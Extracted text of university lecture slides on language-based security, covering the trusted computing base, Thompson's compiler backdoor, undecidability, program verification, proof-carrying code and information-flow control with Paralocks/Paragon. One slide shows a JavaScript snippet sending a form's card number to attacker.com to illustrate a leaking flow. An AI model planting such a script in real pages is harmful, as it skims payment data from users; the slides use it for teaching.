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What basis is this trust on?
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When you open the PDF of this slide deck, 
programs run on your behalf.

What did you just place your trust in?
What did you trust them with?

What basis is this trust on?

a lot of trust.
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National Vulnerability 
Database

This visualization emphasizes how the assignment of CWEs has changed year to year.

CWE: Common Weakness Enumeration
(community-maintained CVE)
(MITRE)

Developers Write Vulnerable Apps.

non-bold: memory protection
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What did you just place your trust in?
What did you trust them with?

What basis is this trust on?



What did you just place your trust in?
What did you trust them with?

What basis is this trust on?
Compiler (& a, t, ta, ...)
Terminal (& a, t, ta, ...)
Shell (& a, t, ta, ...)
OS & libs (& a, t, ta, ...)
Drivers (& a, t, ta, ...)
Hardware (& a, t, ta, ...)

TCB (Trusted Computing Base) : “All HW/SW that is critical to your system’s security 
(in the sense that bugs or vulnerabilities occurring inside the TCB might jeopardize 
the security properties of the entire system).”
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TCB not infallible!
now, let’s look at the compiler…
(story by Ken Thompson, in 1983)
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Minput output

receives input, produces output
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hello world

Hello 
world!

example
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HTTP server

HTTP
(resp)

HTTP
(req)

example (web server)
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HTTP server

HTTP
(resp)

HTTP
(req)
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HTTP HTTP

alternative representation: explicit I/O types (tombstone)
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C compiler?
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C compiler
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hard to maintain
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easy to maintain

(mismatch)
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C compiler
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C compiler
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C compiler

M

C M

new compiler
(source)

old compiler
(initially, the 

bootstrap compiler)

new compiler
(compiled)

a solution
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(new)
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C M

bootstrapping process, alternative representation

C compiler
(old)
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C compiler
(first)

M

C M

revisit the first compiled C-compiler.
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C compiler
(first)

M

C M

what if it’s evil?
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C compiler
(first)

M

C M MC

hello world hello world

evil C-compiler behaves normally on most programs...



M

C compiler
(first)

M

C M MC

UNIX “UNIX”

… but recognizes UNIX, compiling a back-door it!



C compiler

C

C M

okay, let’s fix the compiler.



C compiler

C

C M

new compiler
(fixed!)

there, fixed.



C compiler

C

C M

new compiler
(fixed!)

M

C compiler

M

C M

C compiler

M

C M

old compiler new compiler
(compiled)

we compile it, and get the “fixed C-compiler” compiled. problem?



C compiler

C

C M

new compiler
(fixed!)

M

C compiler

M

C M

C compiler

M

C M

old compiler new compiler
(compiled)

the old compiler was evil… just like it can recognize UNIX, it can recognize a compiler...



C compiler

C

C M

new compiler
(fixed!)

M

C compiler

M

C M

C compiler

M

C M

old compiler new compiler
(compiled)

… and compile the evil into it!



M

M

C M

C compiler
(rewritten from scratch)

C

C M C compiler
(bootstrap)

evil could also be in the bootstrap compiler; can’t ever be sure evil is gone w/o analyzing / rewriting it (hard)



Do you trust these men?
Can you trust anyone?
What can you trust?

Ken Thompson & Dennis Ritchie
Creators of C and UNIX

Turing Award 1983
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Do you trust these men?
Can you trust anyone?
What can you trust?

Ken Thompson & Dennis Ritchie
Creators of C and UNIX

Turing Award 1983

math!



not enough that the SW is
secure

we need to have reason to
believe

that it is secure...

before we depend on it and use it.

bases of trust:

● axiomatic
● analytical
● synthesized

Trustworthy
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not enough that the SW is
secure

we need to have reason to
believe

that it is secure...

before we depend on it and use it.

bases of trust:

● axiomatic
● analytical
● synthesized

Trustworthy
Software

proof!



Today: Trustworthiness

language-based security

● proving properties of programs
● analytical trust

○ obtaining trust:  program analysis, certified compilation
○ transferring trust: proof-carrying code, typed assembly language

● synthesized trust
○ software fault isolation, program transformation

information-flow control ← app-specific security goals

● analytical trust: program analysis (type system)
● synthesized trust: program transformation (monitor)

how do we convince ourselves & others
that our SW is secure?



Willard Rafnsson
IT University of Copenhagen

formal
methods

programming
languages

computer
security

my
research



language-based security



What is it?

a set of techniques based on programming language theory & formal methods
semantics, types, optimization, verification, etc.

brought to bear on the security question. - Dexter Kozen

leverage program analysis & program rewriting to enforce security policies.
supports flexible & general notion of principal & minimal access, to support:

● principle of least privilege,
● minimum trusted computing base. - Fred B. Schneider 

language-based security



What is it?

a set of techniques based on programming language theory & formal methods
semantics, types, optimization, verification, etc.

brought to bear on the security question. - Dexter Kozen

leverage program analysis & program rewriting to enforce security policies.
supports flexible & general notion of principal & minimal access, to support:

● principle of least privilege,
● minimum trusted computing base. - Fred B. Schneider 

language-based security

let’s look at these for a bit



proving properties 
  of programs

language-based security



Halting Problem
“does P halt given i?”

[Turing,1936]
Language-based Security - Proving Properties of Programs

program input



Halting Problem
“does P halt given i?”

true or false, for all P and i.

[Turing,1936]

program input

Language-based Security - Proving Properties of Programs



Halting Problem [Turing,1936]

program input

Language-based Security - Proving Properties of Programs

“does P halt given i?”

true or false, for all P and i.
halts(P, i) = true if P halts on i; false otherwise.
let’s implement halts...



Halting Problem
“does P halt given i?”

Theorem:
halts(P, i) is undecidable.

[Turing,1936]

program input

no P’ computes halts.
(always eventually returns yes/no)

Language-based Security - Proving Properties of Programs



Halting Problem
“does P halt given i?”

Theorem:
halts(P, i) is undecidable.

Proof: 

[Turing,1936]

program input

no P’ computes halts.
(always eventually returns yes/no)

Language-based Security - Proving Properties of Programs



Halting Problem
“does P halt given i?”

Theorem:
halts(P, i) is undecidable.

Proof: assume (towards contradiction) that A computes halts. 
B(B) halts ⇒ A(B,B) = No   ⇒ B(B) halts
B(B) halts ⇒ A(B,B) = Yes ⇒ B(B) halts

 a contradiction.

[Turing,1936]

program input

no P’ computes halts.
(always eventually returns yes/no)

Language-based Security - Proving Properties of Programs



program input

no P’ computes halts.
(always eventually returns yes/no)

Halting Problem
“does P halt given i?”

Theorem:
halts(P, i) is undecidable.

why: Gödel’s incompleteness result.

[Turing,1936]

[Gödel,1931]

Language-based Security - Proving Properties of Programs



Halting Problem
“does P halt given i?”

Theorem:
halts(P, i) is undecidable.

Corollary: for any p that is not trivial,
p(P) is undecidable.

[Turing,1936]

[Rice,1953]

program input

no P’ computes halts.
(always eventually returns yes/no)

property true, or
false, for
all P

Language-based Security - Proving Properties of Programs



What can we do?
no tool can prove
whether or not
any given program P satisfies
any given specification p.

always eventually
answer yes/no

Language-based Security - Proving Properties of Programs



What can we do?
no tool can prove
whether or not
any given program P satisfies
any given specification p.

formal methods & programming language theory explore
- allowing false alarms,
- imposing restrictions

on P or p, and
- requiring assistance from a human.

Language-based Security - Proving Properties of Programs



1967

Program Verification: Flowcharts
Language-Based Security - Proving Properties of Programs



R := 0

(R+1)^2 <= N

R := R + 1
yesno

state 
change

branching

1967

Program Verification: Flowcharts
Language-Based Security - Proving Properties of Programs



R := 0

(R+1)^2 <= N

R := R + 1
yesno

0 <= N

(R+1)^2 <= NR^2 <= N AND N < (R+1)^2

predicate
(description of
state space at
time the edge is
traversed)

true if
condition is false

1967

Program Verification: Flowcharts
Language-Based Security - Proving Properties of Programs



R := 0

(R+1)^2 <= N

R := R + 1
yesno

0 <= N

(R+1)^2 <= NR^2 <= N AND N < (R+1)^2

desired property

1967

Program Verification: Flowcharts
Language-Based Security - Proving Properties of Programs



R := 0

(R+1)^2 <= N

R := R + 1
yesno

0 <= N

R^2 <= N

(R+1)^2 <= N AND R^2 <= NR^2 <= N AND N < (R+1)^2

R^2 <= N

1967

Program Verification: Flowcharts
Language-Based Security - Proving Properties of Programs



R := 0

(R+1)^2 <= N

R := R + 1
yesno

0 <= N

R^2 <= N

(R+1)^2 <= N AND R^2 <= NR^2 <= N AND N < (R+1)^2

R^2 <= N

true whenever
condition is entered
(and condition does 
not change state)

1967

Program Verification: Flowcharts
Language-Based Security - Proving Properties of Programs



Proof that after loop,
R = integer square root of N (if 0 <= N initially)

R := 0

(R+1)^2 <= N

R := R + 1
yesno

0 <= N

R^2 <= N

(R+1)^2 <= N AND R^2 <= NR^2 <= N AND N < (R+1)^2

R^2 <= N

1967

Program Verification: Flowcharts
Language-Based Security - Proving Properties of Programs



Program Analysis & Program Transformation

there are many techniques to prove properties of programs.

flow charts (Floyd, 1967) → Hoare logic (Hoare, 1969) → weakest precondition (Dijkstra, 1976),
symbolic execution, abstract interpretation, model checking, ...

in this module, we focus on two techniques.

● program analysis analyze P w/o running it (e.g. at compile-time).
reject P if P can violate property.

● program transformation rewrite P s.t. it cannot violate property.
property thus enforced on run-time.

Language-Based Security - Proving Properties of Programs

compute the invariants



analytical trust

Language-Based Security



What is it?

trust in artifact justified by trust in method of analysis. 

● testing: fine if you can test all input. else, you must know that you
tested the right inputs.

● verification: logical analysis (manual or automatic). proof is for all runs.

program analysis falls into this category.

Language-Based Security - Analytical Trust



Convince Yourself

scenario: you run your 
program analysis analysis 
on the program.
your analysis says “OK”.

you compile the program, 
and run it.
compiled-program “OK”?

Language-Based Security - Analytical Trust



CompCert
Certified Compilation

Language-Based Security - Analytical Trust



CompCert Project

Written in 
Gallina,
Proven in 
Coq.
(4 man-yrs)

Language-Based Security - Analytical Trust



Language-Based Security - Analytical Trust



Language-Based Security - Analytical Trust



Convince Others

scenario: you compile 
your program analysis
with CompCert.

you have assurance that 
the result satisfies spec.

how do you convince 
others? others might download, install, run Coq and do the check. but,

● proof might depend on original source code. (don’t want to share it)
● Coq is a large tool (installation, etc.)

Language-Based Security - Analytical Trust



PCC
proof-carrying code 

Language-Based Security - Analytical Trust
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Why PCC; how does it help?

Q: SW vendor can just use program analysis + CompCert.
A: then SW consumer must trust SW vendor.

Q: SW consumer can run program analysis + CompCert him/her-self?
A: then SW consumer must trust program analysis (big?), & have source code.

in PCC, SW consumer only trusts verifier (small),  & has bytecode.

Q: won’t the verifier be big? or take long to compute?
A: fundamental results from computability theory;

checking evidence is faster than producing evidence.
represent evidence in simpler language, to be checked by simpler machine

discrete_logarithm(a):
find x such that a = bx

evidence: an x.

Language-Based Security - Analytical Trust



TAL
typed assembly language

(an example of PCC)

Language-Based Security - Analytical Trust



Language-Based Security - Analytical Trust

Q: How to guarantee safety w/ untyped & untrusted code?



Contrast to Java
Language-Based Security - Analytical Trust



Language-Based Security - Analytical Trust



Language-Based Security - Analytical Trust



Pros and Cons

pro: if p passes analysis, then you can safely run it.
if you transfer proof of this to others, then so can they.

con: what about 1) unknown binaries? 2) mobile code (JS)?

todo-s:

● permissive type system, expressive policies.
● certified compilation for IFC
● IFC proofs encoded in TAL

plenty of work to do.

Language-Based Security - Analytical Trust



synthesized trust

Language-Based Security



What is it?

trust in artifact justified by trust in method of construction. 

● in-lined checks: program has within it checks to ensure that
property is satisfied.

● compositional reasoning: trust in glue used to combine components.

program transformation falls into this category.

approaches that transform security into software are
referred to as Software Fault Isolation.

Language-Based Security - Synthesized Trust



Secure by Transformation

inlined reference monitor
program, transformed to include a monitor.
old program misbehaves ⇒ new program self-destructs.
great, when it’s sufficient.

monitors are limited; can only observe current trace,
not “branches not taken”.

fortunately, there are other approaches.

● secure multi-execution
● self-composition

Language-Based Security - Synthesized Trust



information-flow control



2 
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Attack 

•  Root of the problem: information flow 
from secret to public 

<script type="text/javascript"> 
function sendstats () { 
new Image().src= 
       "http://attacker.com/log.cgi?card="+ 
       encodeURI(form.CardNumber.value);} 
</script> 
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Origin-based restrictions 

Script 

Browser 

DOM 
tree 

Internet 

•  Often too restrictive 
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Information flow controls 

Script 

Browser 

DOM 
tree 

Internet 
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Information security: 
confidentiality 
•  Confidentiality: sensitive information must not 

be leaked by computation (non-example: 
spyware attacks) 

•  End-to-end confidentiality: there is no 
insecure information flow through the system 

•  Standard security mechanisms provide no 
end-to-end guarantees 
–  Security policies too low-level (legacy of OS-based 

security mechanisms) 
–  Programs treated as black boxes 
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Confidentiality: standard 
security mechanisms 
Access control  
+prevents “unauthorized” release of information 
- but what process should be authorized? 
Firewalls  
+permit selected communication 
- permitted communication might be harmful 
Encryption  
+secures a communication channel  
- even if properly used, endpoints of 

communication may leak data 
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Confidentiality: standard 
security mechanisms 
Antivirus scanning  
+rejects a “black list” of known attacks  
- but doesn’t prevent new attacks 
Digital signatures 
+help identify code producer 
-no security policy or security proof guaranteed 
Sandboxing/OS-based monitoring  
+good for low-level events (such as read a file) 
-programs treated as black boxes 
) Useful building blocks but no end-to-end 

security guarantee 



In a Nutshell 

Security needs to be 
application-specific 
 
Information flow is 
central 
 
The best place to tackle 
this is at the level of 
code 

•  Transform 
•  Analyse 
•  Monitor 
•  Rewrite 
•  Redesign 

What Information Flow controls 
do we want? 

•  Confidentiality, Privacy 
–  Information about sensitive data cannot be 

deduced by observing public channels 
•  Integrity 

– Untrusted data should not influence the values 
sent on trusted channels 

•  Erasure 
–  information is no longer available after use 

  



if (input != “attack at dawn”)  
    { output(“BANG!”); } 

36 

What is Secure Information 
Flow? 

H L 

Inputs 

Public (Low) output Secret (High) output 



37 

What is Secure Information 
Flow? 

H L 

Inputs 

Low output High output 

Security 

C is secure iff running C on any two initial 
memories which are equal on all low 
variables, if they both terminate, yield 
memories with equal low variables 
 
Property usually called “Noninterference” 
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Confidentiality: Examples 

insecure (indirect) if h=0 then l:=0 
           else l:=1 

insecure 
(termination) 

while (h=0 ) skip 

insecure  
(timing) 

if h=0 then 
sleep(10000000) 

insecure l:=h mod 2 
secure h:=h+l 
insecure (direct) l:=h 

Denning’s  
method 
checks these 

Denning’s Certification Method 

1.  level of an expression is the t of the levels of its 
variables 

 

h + l  
has level  

 High t Low = High 
  



Security by Construction 

•  understand the semantics of security 
requirements (policies) of applications 

•  express security requirements at a software 
level 

•  verify or enforce security requirements 
using programming language technology 

Language-Based Security 

•  Leveraging programming language 
technology 
– Static analysis 
– Dynamic monitoring 
– Program Transformation 
– Programming Language Design 

for Computer Security 
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Enforcement by Static 
Certification    

•  Assign security 
clearance levels to 
objects in a program 
(variables, channels etc) 

•  Certify Security before 
running them 
–  [Denning&Denning ‘77]  

24 

Intuitions about information flow 

Suppose we just have two variables  h and l 
storing information of high and low secrecy 
levels 
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Confidentiality: Examples 

insecure (indirect) if h=0 then l:=0 
           else l:=1 

insecure 
(termination) 

while (h=0 ) skip 

insecure  
(timing) 

if h=0 then 
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Denning’s Certification Method 

1.  level of an expression is the t of the levels of its 
variables 

2.  assignment of an expression of level A to a 
variable of level B only allowed if A v B 

h := l  
l := h 

 
   

Denning’s Certification Method 

1.  level of an expression is the t of the levels of its 
variables 

2.  assignment of an expression of level x to a 
variable of level y only allowed if  

x v y 
3.  in the body of any conditional or a loop with 

guard of level x, only allow assignments to 
variables with levels w x  
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Denning’s Certification Method 

1.  level of an expression is the t of the levels of its 
variables 

2.  assignment of an expression of level x to a 
variable of level y only allowed if  

x v y 
3.  in the body of any conditional or a loop with 

guard of level x, only allow assignments to 
variables with levels w x  

  

 
if h=0 then l:=0 

 
 

Express as a “Type System” 

  
 

  

A ` c 
 

implies 
c is secure  

and only writes variables at level A or higher  



demo
implement check:

compile-time checker; Denning-style



Information flow in 70’s 

•  Runtime monitoring 
–  Fenton’s data mark machine 
–  Gat and Saal’s enforcement 
–  Jones and Lipton’s surveillance 

•  Dynamic invariant: 
”No public side effects 
in secret context” 

•  Formal security 
arguments lacking 

5 



Denning Restrictions, How To Check

recall ”check":

● whilst within a branch on “eB”  (“if”, ”while”):

raise pc by lev( eB )

● when "x := eA“ is encountered:

lev( eA )  ⊑ lev( x ) ←explicit flow

lev( pc ) ⊑ lev( x ) ←implicit flow



Denning Restrictions, How To Check

recall ”check":

● whilst within a branch on “eB”  (“if”, ”while”):

raise pc by lev( eB )

● when "x := eA“ is encountered:

lev( eA )  ⊑ lev( x ) ←explicit flow

lev( pc ) ⊑ lev( x ) ←implicit flow

in “monitor”, we'll do exactly the same thing,
just on run-time (change “eval”).



demo
implement monitor:

run-time monitor; Fenton’s Datamark machine



All instructions checked by the 
monitor. Program executed only if 
operations comply with policies.

Supports very expressive policies.

Slow

Interpreter

Reference monitor: (some) approaches

Only intercepts some operations 
interpreted by monitor. Operations 
executed if comply with the policy.

Policies restricted to intercepted 
operations.

Faster than interpreter in most cases.
 

Mode of execution determines allowed 
operations

User mode ⇒ process/thread  memory
Supervisor mode ⇒ all memory
Limited policies

Fast; only requires checking execution 
mode.

program binary

interpreter

operation

output

Wrapper Hardware



No! In fact, dynamic enforcement is as 
secure as Denning-style enforcement 
 •  Trick: termination 

channel 
•  Denning-style 

enforcement 
termination-insensitive 

•  Monitor blocks 
execution before a 
public side effect takes 
place in secret context 

9 

 
 
 
 
 

if secret 

   
 

print(public) 

public:=0 

No 
assignments 
to public 
variables 
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Semantics-based security 

•  What end-to-end policy such a type 
system guarantees (if any)? 

•  Semantics-based specification of 
information-flow security [Cohen’77], 
generally known as noninterference 
[Goguen&Meseguer’82]: 

    A program is secure iff high inputs do not      
interfere with low-level view of the system   



38 

Noninterference 

•  As high input varied, low-level behavior 
unchanged 

8mem,mem’. mem =L mem’ ) «C¬mem ¼L «C¬mem’ 

Low-memory equality: 
(h,l) =L (h’,l’) iff l=l’ 

C’s behavior: 
semantics «C¬ 

Low view ¼L: 
indistinguishability  
by attacker 

C is secure iff 
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Confidentiality: Examples 
l:=h insecure (direct) untypable 

l:=h; l:=0 secure untypable 

h:=l; l:=h secure untypable 

if h=0 then l:=0 
           else l:=1 

insecure 
(indirect) 

untypable 
 

while h=0 do skip secure (up to 
termination) 

typable 

if h=0 then sleep
(1000) 

secure (up to 
timing) 

typable 
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Evolution of language-based 
information flow 
Before mid nineties two separate lines of work: 
Static certification, e.g., [Denning&Denning’76, 

Mizuno&Oldehoeft’87,Palsberg&Ørbæk’95] 

Security specification, e.g., [Cohen’77, Andrews& 
Reitman’80, Banâtre&Bryce’93, McLean’94] 

Volpano et al.’96: First connection between 
noninterference and static certification: 
security-type system that enforces 
noninterference 
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Evolution of language-based 
information flow 

•  Enriching language expressiveness 
•  Exploring impact of concurrency 
•  Analyzing covert channels (mechanisms not 

intended for information transfer) 
•  Refining security policies 

Four main categories of current 
information-flow security research: 



Prove absence of undesired flows 
of information in programs.

● [ app ]  does not leak 
[ credit card nr ]  to  [ ad provider ] 

Well developed (40+ years)

● OS, voting system, web framework, email
(seL4, Civitas, Swift, JPMail)

Information 
Flow Control

with tools

H L

prove high-level security properties of SW
⇒ trustworthy software



Noninterference

Property

“H inputs do not interfere with L outputs.”

Property of behavior sets of traces

Many flavors confidentiality / integrity

Enforced analysis / transformation

Information Flow Control

Flows
explicit: avg := (height_a + height_b)/2;

implicit: if (cpr_nr_a mod 2 == 1) {

is_male := 1;

} else {

is_male := 0;

}

Enforcement
Program Analysis (Type System; check ):

reject bad programs on compile-time.

H
L

H
L



● Values have information.
● Deconstructing a value 

transfers its information 
to the result.

an object is a value. 
computing on fields deconstructs the fields (& structure).

caveats:
● writing to one field does not 

change the whole object (good)
● the presence of a field may 

contain H information (danger)





Paralocks and Paragon 

Practical Programming with 
Information Flow  

  

In an Ideal World… 
•  Design a policy based on 

principals (security levels) 
and permitted information 
flows.  

•  Assign security levels to 
endpoints of the system 

•  Verify that there will be no 
bad information flows before 
running the program  

[Denning ‘77] 



Admin 
 

Alice    Bob … 
 

AnonUser 

  

•  Declassification 
•  Role Change 

In Practice 
Dynamic Policies 
•  Declassification 
•  Revocation 
•  Endorsement 
•  Role change 
• … 



Locks 

  

Locks 

  



Locks 

  

Enforcing Dynamic Policies 

  



Answer 

•  Paralocks, a small, flexible, and expressive 
policy language for describing dynamic 
information flow policies 

•  Paragon, a version of Java integrated with 
Paralocks, and with static information flow 
checking 

  

Key idea 
Policies are stateful 
•  security-relevant events in the 

execution determine the 
intended flows 

•  policies must be state-
dependent 

  

A Core Calculus for Dynamic Flow Policies,  
  [Broberg & Sands ESOP’06] 



Flow locks 

First step towards our policy language 
•  Basic idea: Use locks to guard flows to/from 

actors 
–  Example: ”Alice can access the secret data only after 

she has paid” 

{ Alice : Paid} 

Lock Actor 

Example 

•  Locks: PA and PB  
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open PA 

close PA close PB 

open PB 

Booleans which 
model policy-
relevant events 

Program 
annotations 
which indicate 
change 



Generalise Locks to Roles 

•  Need a lock to capture that  
      A is a member of role R  

– e.g. A is a Boss, henceforth: Boss(A) 
•  Policy: If x is a Boss then information may 

flow to x 
 8 x. x : Boss(x)  
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Actor 
polymorphism 

Parameterised locks 
“Paralocks” 

Example 

Joe (Public):    8x.x 
Employee A:   {A; 8x. x : Boss(x)} 

96 

open Boss(Alice) 

close Boss(Alice) 
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Paralocks Policy Language 

•  Policies (so far) are just first-order Horn 
clauses 

{A; 8x.x : Boss(x) } 
 
 

Flow(A) Æ 8x.Boss(x) ) Flow(x) 
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Flow Locks - expressiveness 

•  Temporal aspects 
– E.g. the ”Paid” example. 

•  Role-based information flow control 
–  { �a. a : Admin(a) } 

•  Relations 
–  { X ; �a . a: ActsFor(X, a)  } 

•  ... 



  

Sound Flows: Intuitions 

 
 
 
May perform an assignment as long as the policy on the 

target location is  
•  at least as restrictive as the policy on the data 

 aliceData:= bossSalary 

{ 8x. Boss(x) )  x}  { alice; 8x. Boss(x) ) x } 

? 

  

Sound Flows: Intuitions 

 
 
 
May perform an assignment as long as the policy on the 

target location is  
•  at least as restrictive as the policy on the data 
•  relative to the current lock state 

   Boss(alice) Æ 8x.Boss(x))Flow(x)  ² Flow(alice) Æ 8x.Boss(x))Flow(x) 

open Boss(alice)  
aSalary:= bossSalary 

{ alice; 8x. x : Boss(x) }  { 8x. x : Boss(x) } w 



Paragon is… 

  

The first step of a fine marriage:  
Objects as actors 

•  Actors represent many things: users, 
components, resources, etc. 

•  In Java, most of these things are already 
represented by objects – let’s reuse objects 
as actors! 

• More expressive: allows lock parameters to 
be typed. 



  

  



Paralocks Policies

● Policy: “Everyone can listen to this online 
music stream if they paid for it”

{ 'x : Has_Paid('x) }{ 'x : Has_Paid('x) }

Actors Locks Variables Para-locks
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{ 'x : Has_Paid('x) }{ 'x : Has_Paid('x) }

{ alice : }{ alice : }

Lock StateLock State
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{ 'x : Has_Paid('x) }{ 'x : Has_Paid('x) }

{ alice : }{ alice : }

Lock StateLock State
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{ 'x : Has_Paid('x) }{ 'x : Has_Paid('x) }

{ alice : }{ alice : }

Lock StateLock State
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{ 'x : Has_Paid('x) }{ 'x : Has_Paid('x) }

{ alice : }{ alice : }

open Has_Paid(alice) ;open Has_Paid(alice) ;

Lock State

Has_Paid(alice)

Lock State

Has_Paid(alice)
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{ 'x : Has_Paid('x) }{ 'x : Has_Paid('x) }

{ alice : }{ alice : }

Lock State

Has_Paid(alice)

Lock State

Has_Paid(alice)
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Declarations: lock and policy 

lock!Owns(User,!File);!
reflexive+transitive+lock+ActsFor(User,User)!
+
policy!aliceLog!=!{File!f:!Owns(f,!alice)};!
policy!aliceLog’!=!{(User!u)!!
!!!File!f:!Owns(u,f),ActsFor(u,alice)!}!!

!

?aliceLog!String!myDiary!=!“…”!

! 145 

a string declared with a 
given policy"

The Big Win: Encapsulation 

•  Paralocks + Java encapsulation lets us 
encode information flow mechanisms and 
paradigms as libraries. 

•  Examples: Simple and Robust 
declassification, lexically scoped flows, Jif 
policies. 
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HighLow 
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HighLow 
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Modularity & Locks 

Static check of policy compliance 
 
•  need safe approximation to the locks open at any 

program point 
 
To do this in a modular way, methods declare their 
assumptions and guarantees regarding locks 
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Modularity&via&Lockstate&Contracts&

• Three&different&kinds&of&modifiers:&

•  +Paid :&Lock&Paid&will&always&be&opened&by&
method.&

•  -Paid :&Lock&Paid&may&be&closed&by&method.&

•  ~Paid :&Method&may&not&be&called&unless&Paid&is&

open.&



Modularity and Side Effects 
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Write to a 
low variable 
in a high 
context 

Modularity and Side Effects 
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Write effect 



Example
Paragon

Two IFC policies that we want Paragon to enforce.
(1) posts can only be read by a direct friend of the poster or, if the poster 
so indicates, by friends of friends of the poster. 
(2) to prevent injection or scripting attacks, a message should be 
properly sanitised before it is stored in the network.



Summary



Why security is hard: Isolation vs. Sharing

Isolation

ideal situation.
makes security easy.

Sharing

real situation.
makes security hard.

#!/bin/sh
echo …
...

#!/bin/sh
echo …
...

#!/bin/sh
echo …
...

#!/bin/sh
echo …
...

#!/bin/sh
echo …
...

#!/bin/sh
echo …
...

confinement
problem: 

how to run 
programs 
securely in 

this setting?

Summary



IFC for Application-Specific Security Goals

authorization: information-flow control

● policies ← label I/O
● enforcement ← compile-time, run-time
● tools ← JSFlow, Paragon

“It is conceivable to me that information-flow control 
 might work. The problem with it so far is that we’ve 
 been too hard-nosed about it. It’s record so far has 
 been discouraging. So I think that’s up for grabs.”

Butler Lampson, SOSP’15

Summary


